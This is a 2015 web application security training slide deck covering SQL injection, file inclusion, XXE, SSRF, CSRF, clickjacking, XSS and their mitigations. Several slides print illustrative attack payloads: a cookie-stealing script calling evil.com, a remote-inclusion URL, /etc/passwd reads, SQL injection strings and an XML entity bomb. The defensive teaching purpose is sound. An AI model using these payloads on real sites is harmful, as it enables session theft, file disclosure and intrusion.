Web Application Security

Download as pdf or txt
Download as pdf or txt
You are on page 1of 65

Web Application Security

Gábor Molnár

© 2015 IT-SEC Expert Nonprofit LLC


Contents
 Loading a Webpage
 Server side
– SQL Injection
– Remote/Local File Inclusion
– XML Processing
– Server Side Request Forgery
 Transport: HTTPS
 Client side
– Same Origin Policy
– Cross Site Request Forgery (CSRF)
– Clickjacking
– Cross Site Scripting (XSS)
– HTTP API security

Web Application Security | 2/65


LOADING A WEBPAGE
Loading a Webpage (simplified)
1. Fetch the given URL (Universal Resource Locator)
2. Result: HTML (HyperText Markup Language) format data
3. Parse the HTML
– Request sub-resources as encountered by parser
» Images
» Stylesheets
» Scripts
» Frames
– Execute JavaScript as encountered by parser
4. Display content
5. Run event loop, dispatch events to JS

Web Application Security | 4/65


Universal Resource Locator (URL)

1. http:// – scheme (browser default: http)


2. example.com – domain name
3. :80 – port (browser default: 80)
4. /dir/news – path (browser default: /)
5. ?article=1&x=3 – query string (optional)
6. #comments – fragment identifier (optional)

Relative URLs: //x.com/path, /x.html, x.html, ?article=2, #header

Web Application Security | 5/65


HyperText Transfer Protocol (HTTP)
TCP communication:

GET /dir/news?article=1&x=3 HTTP/1.1


Host: example.com
Client Server

HTTP/1.1 200 OK
Date: Mon, 23 May 2005 22:38:34 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 60
Connection: close

<html>
<head><title>Example</title></head>
<body>
<img src="photo.jpg">

Web Application Security | 6/65


Server Side Architecture

 Webserver dispatches the request to a script, or serves up a file

Execute, input: path,


HTTP Request body, headers Script DB query
HTTP Data-
(PHP,
server base
other)
HTTP Response Output: response DB data
body, headers

 Alternative: event driven server environments


– Python Tornado, Node.js, etc.
 + load balancers, TLS terminators, distributed DBs, CDNs, etc.

Web Application Security | 7/65


Tools: Simple HTTP Server and Client
Server: python -m SimpleHTTPServer [PORT] [IP]

Client: curl [URL]

Web Application Security | 8/65


Tools: Web Application Security Proxies
 Commercial: Burp Suite, open source: Zed Attack Proxy
 Inspect, modify HTTP traffic
 And lot of other stuff (see later)

Web Application Security | 9/65


HyperText Markup Language (HTML)
<html> Parsing, processing ↓
<head>
<title>Example</title>
<link href=“/style.css“ rel="stylesheet“
type="text/css"> HTTP GET /style.css
</head>
<body>
<img src=“/photo.jpg"> HTTP GET /photo.jpg
<script src=“/code.js">
</script> HTTP GET /code.js
<iframe src=“/comments.html" id="comments">
</iframe> HTTP GET /comment.html
</body>
</html>
Web Application Security | 10/65
HTML Forms
<form action="/form.php" method="POST">
<input type="text" name="name">
<input type="checkbox" name="newsletter">
<input type="submit">
</form>
Form submission when method="GET":
GET /form.php?name=joe&newsletter=on HTTP/1.1

Form submission when method="POST":


POST /form.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 19

name=joe&newsletter=on

Web Application Security | 11/65


HTML Forms – File Upload
<form action="/form.php" method="POST"
enctype="multipart/form-data">
<input type="file" name="document">
<input type="submit">
</form>
Form submission when enctype="multipart/form-data":
POST /form.php HTTP/1.1
Content-Type: multipart/form-data; boundary=------6335469
Content-Length: 123456

------6335469
Content-Disposition: form-data; name="document";
filename="cv.pdf"
Content-Type: application/octet-stream

%PDF-1.4 ...
------6335469--

Web Application Security | 12/65


Cookies
GET /index.php HTTP/1.1

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 100
Set-Cookie: PHPSESSID=asdfghjkl1234567890

GET /anything_on_same_server.php HTTP/1.1


Cookie: PHPSESSID=asdfghjkl1234567890

Web Application Security | 13/65


Document Object Model (DOM)
<div> div
<p>
This is a paragraph with a p p
<a>link</a>
</p>
text a text
<p>second paragraph</p>
</div>
text

 Document Object Model (DOM)


– In-memory representation of HTML
– Tree data structure
– Set of JavaScript APIs for modification
 The jQuery JS library is an abstraction layer on DOM

Web Application Security | 14/65


Developer Tools in Browsers
 Available in every major browser
– Internet Explorer F12 tools
– Chrome DevTools
– Firefox Developer Tools (Older FF versions: Firebug)
– …
 Inspecting, debugging
– HTTP requests
– DOM
– JavaScript

Web Application Security | 15/65


Web Application HTTP APIs
 JavaScript: XMLHttpRequest API
– Send HTTP request
– Read response
 Server side point of view
– Regular HTTP request/response
– Response format usually: JSON, XML, CSV, …
 Example
1. JS event handler for a timer that fires every 10s
2. Send HTTP request to /get_mail?last_mail_id=86
3. Response in JSON format:
[{id: 87, from:"joe", text:"hello"},
{id: 88, from:"jack", text:"hi"}]
4. Add to email list with DOM manipulation

Web Application Security | 16/65


SERVER SIDE
Attacker Model
 Attacker communicates with the server over the network
– In our case, mainly HTTP
 Goals:
– Read data stored on the server
– Change data stored on the server
– Make the server unable to answer further requests (Denial of Service)

Network Communication
HTTP
server

Web Application Security | 18/65


Content/API Discovery
 Attacker's first step: maximizing attack surface
 Manual testing with a logging HTTP proxy
 Using a web spider
– Traverse every resource based on links
– Usually dumb: not executing JS
 Directory listing
– Webserver listing every file in a directory
– Best practice: turn it off
 Guessing
– Based on common file names

Web Application Security | 19/65


Tools: Web Application Security Proxies
 Commercial: Burp Suite, open source: Zed Attack Proxy
 HTTP traffic inspection, web spider, content discovery module

Web Application Security | 20/65


Tool: IIS Short Name Scanner
 8.3 file names on Windows
– Legacy limit: 8 char file name, 3 char extension
– Accessing long filenames in legacy apps
» Program Files → PROGRA~1
» TextFile.Txt → TEXTFI~1.TXT
 IIS webserver on Windows with 8.3 file names
– Different error message if 8.3 name matches a file
– Guessing file names char by char
$ java scanner 2 1 'https://www.example.com'
File: APP_OF~1.WAS →?
File: COMING~1.HTM → comingsoon.htm
File: CONNEC~1.CON → connection.config
File: GLOBAL~1.ASA → global.asax
File: HEALTH~1.HTM → healthcheck.html
File: MOBILE~1.JSO → mobile_version.json
File: MOCKED~1.CON →?

Web Application Security | 21/65


SQL
 SQL = Structured Query Language
 Database query language for Relational Databases
ID NAME PASSWORD EMAIL
1 joe password [email protected]
2 jane 123456 [email protected]
3 john 12345678 [email protected]
4 jill qwerty [email protected]

 SELECT * FROM users WHERE name=jill AND password=qwerty


 Many dialects

Web Application Security | 22/65


SQL Injection
SQL injection vulnerability is present if an SQL query is produced
using string concatenation and unsanitized user input strings.

<?php
$n = $_GET["name"];
$p = $_GET["password"];
$q = "SELECT * FROM users WHERE name=$n AND password=$p";
$result = mysql_query($q);
$authenticated_user = mysql_fetch_row($result);
?>

If name is "admin" and password is "1 OR 1=1":


SELECT * FROM users WHERE name=admin AND password=1 OR 1=1

Web Application Security | 23/65


SQL Injection Techniques
 Stacking queries with a single API call
– If enabled, possible to run an arbitrary SQL query
– Not widely supported (Microsoft® SQL Server)
 UNION technique
– UNION SELECT … after a SELECT with the same column number
– Very efficient, but only usable if the result is directly displayed
 Blind
– 1 bit information leak per request
– … WHERE password=x AND (LETTER < 'n')
(x is the correct password, LETTER is an unknown letter being guessed)
 Error based
– Leaking information in error messages

Web Application Security | 24/65


SQL Injection Tools
 De facto standard tool: SQLMap
 Automatic exploitation of simple SQLi vulns
 Easy to extend for complex cases (with Python “tamper scripts”)
– Alternative: write a HTTP proxy

Web Application Security | 25/65


SQL Injection Mitigation
1. Input sanitization
– White lists: most effective, but not always usable.
– Black lists: there are always missing items! Not recommended!
– Escaping: always use the built-in functions, don't try yourself.
(PHP mysql_real_escape_string, etc.)
– PHP magic quotes: deprecated, not recommended!

2. Prepared statements
– Superior to input sanitization
– Clear control channel vs. data channel separation
– Step 1: Prepare (parse, etc.) the query with input placeholders
– Step 2: Execute the query with concrete input data
– Supported in most languages (PHP, ASP.NET, etc.)

Web Application Security | 26/65


File Inclusion Vulnerability

A file inclusion vulnerability is present when the path in a


dynamic file inclusion is controlled by an unfiltered input.

<?php
$page = $_GET['page'];
include($page + '.php')
?>

In theory language independent, in practice, almost always PHP.

Web Application Security | 27/65


File Inclusion Vulnerability in PHP
Remote File Inclusion (RFI)
 Trivial to exploit:
show.php?page=http://evil.example.com/shell
 Mitigation: allow_url_include = Off (Default > PHP 5.1)

Local File Inclusion (LFI)


 If filename is unconstrained (no added extension):
– ?page=/etc/passwd – arbitrary file read (except .php)
– ?page=../file_uploads/shell.txt – run uploaded file
– ?page=/var/log/apache2/access.log – PHP in logs
– ?page=/proc/self/environ – PHP in environment variables (Only
when in CGI mode! Env. vars: User Agent string, etc.)
 Bypassing file extension: terminating with %00 (< PHP 5.3)
 Reading PHP files: ?page=php://filter/convert.base64-
encode/resource=file_to_read.php

Web Application Security | 28/65


XML Processing Vulnerabilities
 When the server processes an user provided XML file
 Common root problem: XML Entities
 Mitigation: disable inline DTDs (in a language dependent way)

<!DOCTYPE my_own_type [
<!ENTITY my_simple_entity "1234567890" >
<!ENTITY my_external_entity SYSTEM "file.xml">
]>
<x>
<!--Parser injects 1234567890 here:-->
<a>&my_simple_entity;</a>
<!--Parser injects the contents of file.xml:-->
<b>&my_external_entity;</b>
</x>

Web Application Security | 29/65


XML Processing Denial of Service
Billion Laughs / Exponential Blowup:
<!DOCTYPE xmlbomb [
<!ENTITY a "1234567890" >
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">

]>
<bomb>&f;</bomb>
Quadratic Blowup:
<!DOCTYPE bomb [
<!ENTITY a "xxxxxxx... repeat">
]>
<bomb>&a;&a;&a;... repeat</bomb>

Web Application Security | 30/65


XML External Entities
 Read almost arbitrary files
– That don't result in XML parsing error
 Use network protocol schemas to make requests
– Server Side Request Forgery, see next slide
 Use special schemas, e.g. PHP wrappers:
– php://filter/convert.base64-encode/resource=file
– expect://cmd to exec
– ssh2.exec://user:[email protected]:22/cmd to exec
– expect and ssh2 are not installed by default
 If the result of entity expansion is not visible
– Blind XXE
– Define DTD validation rules
– Read validation errors, determine content
– Hard, no good automatic tools

Web Application Security | 31/65


Server Side Request Forgery
SSRF: Making a vulnerable server initiate unintended network
communication over some protocol (using XXE, etc.).

 Protocol support depends on the environments:


gopher,tftp,http,https,ldap,ftp,dict,ssh2,imap,pop3,smtp,telnet
 Easy port scanning on localhost and intranet
 Protocol smuggling with gopher
– ASP.NET <= 3 and Java < recent
– Send DATA to IP:PORT (TCP), read resp.: gopher://IP:PORT/DATA
– Sending HTTP/memcached/zabbix/Nagios/MySQL/syslog protocol data
 Host based authentication on intranet can be exploited
 Authoritative source: SSRF Bible (protocol support matrix, etc.)

Web Application Security | 32/65


Password Storage
 How to prevent password leak in case of DB leak?
 Cleartext password storage = insecure
 Hash(password) storage = insecure
– Rainbow tables
– Google
– Brute force with video cards
 (Hash(password + salt), salt) storage = secure
– Data inside hash can be made arbitrary complex with salt
– Rainbow tables, Google, brute force won't work
– Salt must be unique and random for each password
– Fixed salt → precomputed rainbow tables → insecure
– Use sufficiently long salt (10 characters should be enough)
– Use a good hash function (e.g. SHA256)

Web Application Security | 33/65


TRANSPORT
Network Attacker Model
 Passive
– Can eavesdrop the network traffic
– Goal: steal user data
– Stealing cookies = stealing session → impersona ng user on target site

 Active
– Can eavesdrop the network traffic
– Can change the network traffic
– Goal: steal user data, change the information seen by the user

Web Application Security | 35/65


HTTP Eavesdropping, Man-in-the-Middle
 HTTP is, by default
– Unauthenticated
– Unencrypted
– Not integrity checked
 Trivial after having network level eavesdropping/MitM
– ARP spoofing/poisoning
– DHCP spoofing
– DNS cache poisoning
– Etc.
 Mitigation: HTTPS (HTTP Secure)

Web Application Security | 36/65


HTTPS Basics
 HTTPS = HTTP Secure = HTTP over SSL/TLS
 SSL/TLS is versioned, constantly evolving
– SSL 1.0, 2.0 was never widely used
– SSL 3.0: insecure: POODLE attack
– TLS 1.0: mostly insecure: BEAST, CRIME, BREACH attacks
– TLS 1.1, 1.2, 1.3 (draft): secure
 TLS can use many cipher suites
– Cipher suite = (Key exchange alg. + bulk encryption alg. + message
authentication code + pseudorandom function)
– Server/client has a preference list, they negotiate
 Good public cipher suite preference lists, best practices
documents available from SSLLabs, Mozilla

Web Application Security | 37/65


HTTPS Man-in-the-Middle
 First request is usually HTTP
– Because http:// is the default scheme and users don't type https://
– Passive attacker: eavesdropping cookie → session stealing
– Mitigation: Secure Cookies
» A flag on cookies: never send this over HTTP (only HTTPS)
– Active attacker: redirection
– Mitigation: HTTP Strict Transport Security (HSTS, RFC 6797)
» Strict-Transport-Security HTTP header
» specifies that even the first request should be HTTPS
 Downgrading the handshake to an old insecure SSL version
– SSL 2, 3 are insecure, TLS/1.0 is insecure with HTTP
– Modern TLS versions have downgrade protection
– Mitigation: don't support TLS < 1.1 versions at all

Web Application Security | 38/65


HTTPS Man-in-the-Middle
 MitM using stolen cert/key
 Fake cert that has hash collision with the original
– Mitigation: don't use weak hashes (>SHA256 recommended)
 Generating new certificate with an accepted CA cert/key
– Installing the CA cert on the user machine previously
– Bought/stolen CA cert/key
– Mitigation: HTTP Public Key Pinning (HPKP, RFC draft)
» HTTP header to specify a fixed portion in the trust chain
» E.g.: my CA will be unchanged for at least the next year
» Attacker cannot forge cert. even with a stolen key from a random CA

Web Application Security | 39/65


CLIENT SIDE
Client Side Attacker Model
 User is logged in to site A (on origin A)
– Authenticated using cookies
– The site is currently not open
 User visits site B (on origin B)
 Site B is malicious
 Site B should not be able to
– Read user data on site A
– Modify user data on site A
– Read user cookie on site A → impersona on (r/w access)

Web Application Security | 41/65


Client Side Security Model
 Page = opened HTML page in browser = window, tab, frame
 Origin = scheme + domain + port combination
 Basic principle: origin = security boundary

 A page can access


– Pages with different origins only if that page explicitly permits
– Resources from other origins if permitted by the Same Origin Policy
– Local resources only with user consent
 Visiting an evil domain can not cause harm, except:
– With web app vulnerabilities (XSS, CSRF, …) to vulnerable pages
– With browser vulnerabilities to vulnerable browsers

Web Application Security | 42/65


Same Origin Policy
A webpage can only read resources without restriction on its
own origin (scheme, domain, port). Resources on other origins
are subject to various access control rules.

 The most important concept on the client side


 Restrictions depend on the target resource and access method
 Examples
– Can't read cookies belonging to other domains
– Can't read or modify content of tabs/frames displaying other domain
– Can only send HTTP request and read response to own domain, and
domains that explicitly permit it
– Can include scripts, stylesheet, images from other domains, but can't
read their content explicitly (but may observer effects)

Web Application Security | 43/65


Same Origin Policy – Basic Rules
SO = restricted to same origin SO = not restricted to same origin
 Principle:
– Displaying and using content, sending HTTP request SO
– Reading content SO
 Images may be displayed SO, reading pixels SO
 Scripts can be included, executed SO, reading code SO
 Stylesheets can be included, effects observed SO, reading it SO
 Frames and Iframes
– Setting URL SO, reading URL SO
– Reading frame content SO
 Navigation SO
 Form submission target (= navigation + POST) SO

Web Application Security | 44/65


Same Origin Policy – XMLHttpRequest
 XMLHttpRequest API (XHR)
– Send HTTP request
– Read response
 Cross Origin Resource Sharing (CORS): rules for SO XHR
 Sending HTTP request mostly SO, but
– If no extra headers, regular method (GET, POST), then SO
– Otherwise, asks for permission with pre-flight OPTIONS method request
 Reading HTTP response mostly SO, but
– If CORS response headers explicitly permit read access then SO

Web Application Security | 45/65


Same Origin Policy – Special Cases
 Flash
– From SO point of view, behaves like an iframe
– Belongs to the domain where hosted
– Can make HTTP request SO
– Uploading SWF on trusted domain = dangerous
– Can make SO request when permitted by target domain (like CORS)
– Permission = crossdomain.xml file with whitelist
 PDF
– Adobe Reader can run JS and Formcalc scripts in PDFs
– Formcalc has a HTTP request API! (recent "discovery")
– SO with explicit user consent, SO without it
– Maybe restricted in the future

Web Application Security | 46/65


Quiz
 We develop a file upload site
 We have one domain, store everything there
 When serving the files, we don't add special HTTP headers
 What is secure to be included in the file extension whitelist?
– HTML – Insecure
– JPG, GIF, PNG – Secure
– JS – Secure
– CSS – Secure
– SWF – Insecure
– PDF – Insecure
 Recent research: Cross-Site Content Hijacking (all is insecure!)
 Adding Content-Disposition HTTP response header
prevents these attacks (forces a save-as dialog)
Web Application Security | 47/65
Cross Site Request Forgery Example
Attack scenario:
1. User is logged in to bank.example.com
2. bank.example.com authenticates with cookies
3. bank.example.com has a simple form for money transfer
» https://bank.example.com/transfer?amount=10000&to=Bob
4. User visits evil site
1. HTTP GET request based CSRF
<img src="
https://bank.example.com/transfer?amount=10000&to=Mallory">
2. HTTP POST request based CSRF
<form action="https://bank.example.com/transfer">
<input name="amount" value="10000">
<input name="to" value="Mallory">
</form>
<script>document.forms[0].submit();</script>

Web Application Security | 48/65


Cross Site Request Forgery
 Sending HTTP request and reading the response SO
 Sending HTTP request and not reading the response SO
– Restricted solutions: <img> (GET), self submitting <form> (POST), etc.
– Universal: XHR (supports cross origin file upload too!)
 The request will include the client's cookies for the domain

If the only authentication for an HTTP API is


cookie checking, then the API is vulnerable to
Cross Site Request Forgery.

Web Application Security | 49/65


Cross Site Request Forgery Mitigation
 Synchronizer Token Pattern
– Server adds an unique, hard to predict token to every form
– When the form is sent in, the token is checked
– Hard to maintain, not good for AJAX

 Better: Cookie-to-Header Token / Double Submit Cookies


– A token is stored in a cookie at login
– When making an API HTTP request (form submit, XHR) add token
– Add either to URL or a special header
– Easy to implement, widely used (Angular, Django, …)

Web Application Security | 50/65


Clickjacking
 Suppose a form is protected with CSRF token
 Let's put it into an iframe and let the user click on submit!
 User have to be tricked into clicking
– Make the iframe invisible
– Place it over something clickable
– Example: click centric web game
 Not a bug, a feature!
– Every form on the web is vulnerable by default
 Limited usage
– Most forms are useless without data
– Needs user interaction
 Demo

Web Application Security | 51/65


Clickjacking mitigation
 Prevent framing
 Initially: JS hacks
 Modern solution: X-Frame-Options HTTP response header
– Can specify from where is framing enabled
 Best practice: disable framing altogether unless needed!

Web Application Security | 52/65


Cross Site Scripting Example
 A news website with a commenting system
 Comments may contain HTML tags
– To enable rich content: images, etc.
 Why is it a problem?

An attacker can post a comment that steals cookie from visitors:


This is a great article.
<script>
var r = new XMLHttpRequest();
r.open('GET', '//evil.com/'+document.cookie);
r.send();
</script>
Web Application Security | 53/65
Cross Site Scripting

Cross Site Scripting (XSS): when an attacker manages to


run JavaScript code in the context of another origin.
 The most powerful client side attack type
 The injected JS code can do anything in the target origin
 There are different types of XSS depending on
– Whether the attacker string is stored on the server
– Where the HTML fragment is assembled

Web Application Security | 54/65


Cross Site Scripting Types
1. Persistent/Stored XSS
– Attack JS is stored by the site
– Examples: comments, messages, user data
– Trigger: the victim navigates to the containing page
HTTP request DB request
Server side script DB
HTTP response DB data

2. Reflected XSS
– Attack JS passed as GET/POST parameter
– Server code "reflects" the parameter in the returned HTML
– Trigger: user visits malicious site → site redirects to/frames vuln. URL
HTTP request DB request
Server side script DB
HTTP response DB data
Web Application Security
| 55/65
Cross Site Scripting Types
3. DOM based XSS
– The injection does not occur on the server side
– HTML is created on the client side
– x.innerHTML = attacker_controlled_variable;
– Special case: Client side template based XSS
» Client side JS interprets the template
» Server generates it dynamically
» Attacker controlled variable is inserted HTML encoded
» In some cases, it is possible to achieve JS execution
» Example: AngularJS template sandbox bypasses

Web Application Security | 56/65


Cross Site Scripting Mitigation
 User data must be sanitized before inserting into HTML
 The context is important!
– <p><?php echo $user_comment; ?></p>
– <img src="…" title="<?php echo $user_title; ?>" >
– <script>n = "<?php echo $user_name; ?>";</script>
– What are the harmful characters, how to escape them?
 Blacklist and deleting is not a good solution
– Deleting: <scr<script>ipt> → <script>
– Blacklist is never complete
 Solution in HTML tag/property context
– HTML entity encoding
– PHP: htmlspecialchars()
 OWASP XSS Prevention Cheat Sheet
Web Application Security | 57/65
Cross Site Scripting Protection
 How to make XSS hard/impossible to exploit?
 HTTP-only Cookies
– A flag on Cookies
– Not possible to read from JS → no session stealing with XSS
 Content Security Policy (CSP)
– HTTP header
– Specify the legit sources for resource loading
– Report violations to a specified URL
– By default:
» Don't allow inline script tags
» Don't allow eval()
– Further examples:
» Only load scripts, images and objects from certain domain
» Specify which pages can embed this page in frames

Web Application Security | 58/65


XSS Exploitation Tool – BeEF
 Browser Exploitation Framework
 Can be used after "hooking" a browser
– Hooking = our JS script runs inside the victim browser
– Stored XSS
– Social Engineering
 Features
– HTTP tunneling (to same origin only)
– Network discovery
– Further social engineering

Web Application Security | 59/65


Cross Site Scripting Example
 2005 Google XSS
 http://google.com/url?EVIL
– Response: <html> … Your client does not have
permission to get URL /url?EVIL from this server.
– Properly encoded with HTML entities
– Header: Content-Type: text/html
 No character encoding specified
– Old IE will try to guess the encoding
– If it finds UTF-7 encoded characters in first 4096 bytes → UTF-7 encoding
– UTF-7 = ASCII + base64 like encoding of other code points
 Attack: UTF-7 encode the payload
– Circumvents entity encoding

Web Application Security | 60/65


HTTP API Security
 Access control
– If same domain as web app
» Cookie
– Third party cookie is not reliable
» Blocked in some browsers
– OAuth
» Token based (but not cookie)
» Very flexible, widely used
 Cross Site Request Forgery protection (when using Cookies)
 Always set the Content-Type header
– Otherwise potential XSS when interpreting response as HTML in iframe
 Separating APIs to a sandbox domain
– Makes much harder to exploit potential XSS issues

Web Application Security | 61/65


HTTP API Security - JSONP basics
 JSONP = JSON with padding
 Workaround to make cross domain HTTP APIs
 CORS made it obsolete, still widely used
 Scripts can be included SO → let's transfer data with it
API caller site:
<script>
function cb(data) {
alert('API response data: ' + data);
}
</script>
<script src="http://example.com/api?callback=cb">
</script>

HTTP response for from the API:


cb('This is the response generated dynamically');

Web Application Security | 62/65


HTTP API Security - JSONP security
 HTTP response Content-Type must be properly set
– application/javascript
– Otherwise, can be forced to interpret as HTML → XSS:
– <iframe src="http://example.com/api?callback=
%3Cscript%3Ealert(42)%3C%2Fscript%3E"></iframe>
 Callback name must be restricted to ASCII (<0x80)
– Otherwise, can send a complete Flash file as callback
– Flash ignores Content Type!
– Equivalent to hosting a Flash file on the target == breaking SO
 What about ASCII Flash files?
– Rosetta Flash vulnerability, fixed in Flash
 Best practice: prepend empty JS comment to response /**/
– Prevents potential future type confusion vulnerabilities

Web Application Security | 63/65


References
 SQLMap: https://github.com/sqlmapproject/sqlmap
 PHP wrappers: http://php.net/manual/en/wrappers.php
 Blind XXE: http://www.slideshare.net/d0znpp/onsec-phdays-2012-xxe-incapsulated-report
 SSRF Bible: https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM
 POODLE: https://www.openssl.org/~bodo/ssl-poodle.pdf
 SSLLabs Best Pract.: https://www.ssllabs.com/downloads/SSL_TLS_Deployment_Best_Practices.pdf
 Mozilla wiki: Server Side TLS Best Practices: https://wiki.mozilla.org/Security/Server_Side_TLS
 PDF Formcalc HTTP request API: http://insert-script.blogspot.co.at/2014/12/multiple-pdf-vulnerabilites-text-
and.html
 AngularJS template sandbox bypasses: https://code.google.com/p/mustache-security/wiki/AngularJS
 Cross-Site Content Hijacking: https://github.com/nccgroup/CrossSiteContentHijacking
 2005 Google XSS: http://shiflett.org/blog/2005/dec/googles-xss-vulnerability
 OWASP XSS Prevention Cheat Sheet:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
 Clickjacking demo: http://youtu.be/znLBb1e3b3E?t=7m20s
 Content Security Policy: http://www.w3.org/TR/CSP/
 Oauth: http://oauth.net/
 Rosetta Flash vulnerability: https://molnarg.github.io/ascii-flash/
 Burp Suite: http://portswigger.net/burp/
 Zed Attack Proxy: http://owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
 Browser Exploitation Framework: http://beefproject.com/
Web Application Security | 64/65
THE END
Questions

© 2015 IT-SEC Expert Nonprofit LLC

You might also like